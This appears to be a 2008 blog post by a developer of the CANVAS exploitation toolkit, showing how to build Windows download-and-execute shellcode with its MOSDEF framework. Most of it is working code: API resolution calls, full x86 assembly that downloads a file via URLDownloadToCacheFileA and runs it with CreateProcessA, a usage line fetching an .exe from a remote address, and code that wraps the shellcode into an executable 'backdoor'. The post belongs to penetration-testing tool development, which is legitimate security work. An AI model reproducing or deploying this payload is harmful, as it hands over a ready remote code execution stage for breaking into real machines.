jueves, 21 de agosto de 2008

Shellcode: You are doing it CORRECT


Recently I've been doing a lot of shellcode writing due some special needs we had for some exploits (Check post "Apology of forking shellcodes").

One of the things that get me excited about, other than finishing the citrix_metaframe bug, is the redesign of the shellcode framework that Bas did for the last release. The system is pretty simple to use and extend (I add myself a couple of features).

Instead of explaining the obvious, let me show you how it works with a simple example, a small download to IE cache and execute shellcode.

As most of you know, CANVAS use MOSDEF a runtime compiler for a bunch of different operating system and architecture (Linux x86, Linux SPARC, Linux PPC, Solaris SPARC, Solaris Intel, BSD, AIX, Win32, OSX x86, OSX PPC, etc). Explainning all the MOSDEF details it can take a long time and I usually enjoy my sleeping. Let go with some basics: MOSDEF is a C compiler writting in Python, so that means that it has a sintax parser, an intermediate language, an assembly compiler, etc. In this case we are gonna use the assembler to compile our shellcode.

Let's start from the begging, the main class for shellcoding is basecode:

def httpcachedownload(self, urlfile):

codegen = basecode()

Once we had a basecode object, we need to tell it what would be the win32 api functions that we are gonna need. This basically would add a special stub that would resolve each of those function before our shellcode is executing. (Function resolving is been done by going through the PEB, checking the loaded dlls and comparing strings names).

codegen.find_function("kernel32.dll!loadlibrarya")
codegen.find_function("kernel32.dll!createprocessa")
codegen.find_function("kernel32.dll!exitthread")

Obviously, kernel32.dll is always loaded, but there are api function which are not always loaded, such is the case of UrlDownloadtoCacheFileA inside urlmon.dll which is the function that is gonna do all the work from us. So what we need to do is, at resolving time, Loadlibrary urlmon.dll and later resolve UrlDownloadtoCacheFileA. Sounds hard, but is obviously simple with MOSDEF:

codegen.load_library('urlmon.dll')
codegen.find_function("urlmon.dll!urldownloadtocachefilea")

We had all our resolved hashesh created, now we want to send an "argument" to our shellcode, for this special case we will need the name of the url where our .exe would be. So we are gonna add a global variable named URLNAME and we will pass our url:

codegen._globals.addString("URLNAME", urlfile)

Now we need the actual code. Yeah, its an simple framework, but we cannot escape for coding the actual assembly:

codegen.main = """
xorl %eax, %eax
mov $0x208, %edx
//movl %ecx, %edx
sub %edx, %esp
movl %esp, %esi

leal URLNAME-getpcloc(%ebp),%edi // Note how simple we load the
// given argument
pushl %esi
// BATCHCODE
// ------

pushl %eax // pBSC
pushl %eax // dwReserved
pushl %edx // dwBufLength
pushl %esi // szFileName
pushl %edi // URL
pushl %eax // lpUnkCaller
call URLDOWNLOADTOCACHEFILEA-getpcloc(%ebp) // Calling a function
// needs the name
// with caps.
//returns a HFILE handle

pop %esi // get the file back

xorl %eax, %eax
movl $0x100, %ecx
subl %ecx, %esp
movl %esp, %edi // CLEAR the buffer
rep stosb

leal 16(%esp), %ecx
leal 84(%esp), %edx
mov $0x1, 0x2c(%edx)

pushl %ecx // PROCESS INFORMATION
pushl %edx // STARTUP INFO
pushl %eax
pushl %eax
pushl %eax // Creation Flag
pushl %eax
pushl %eax
pushl %eax
pushl %esi // command
pushl %eax
call CREATEPROCESSA-getpcloc(%ebp)
xorl %eax,%eax
pushl %eax
call EXITTHREAD-getpcloc(%ebp)
"""

Quite simple, isn't it? We call UrlDownloadtoCacheFileA with the given url, this would return the place where it saved the downloaded file on the szFileName argument (reg %esi) and later we simple call CreateProcessA.

Before i get any comment bitching about how this code can be optimized, I KNOW, i just didn't do it yet.

So the last thing we need return the assembly code formatted:

return codegen.get()


From your exploit, you can go like:

import shellcode.clean.windows.payloads as payloads
p = payloads.payloads()
code = p.httpdownload("http://172.16.71.2:8080/file.exe")
sc = p.assemble( code )

sc would have your shellcode. Now if you want to test it on a debugger without exploiting something or you just want to make a backdoor out of it:

import MOSDEF.pelib as pelib
myPElib = pelib.PElib()
exe = myPElib.createPEFileBuf(sc, gui=True)
file = open('test.exe', 'wb+')
file.write(exe)
file.close()


Peace

No hay comentarios: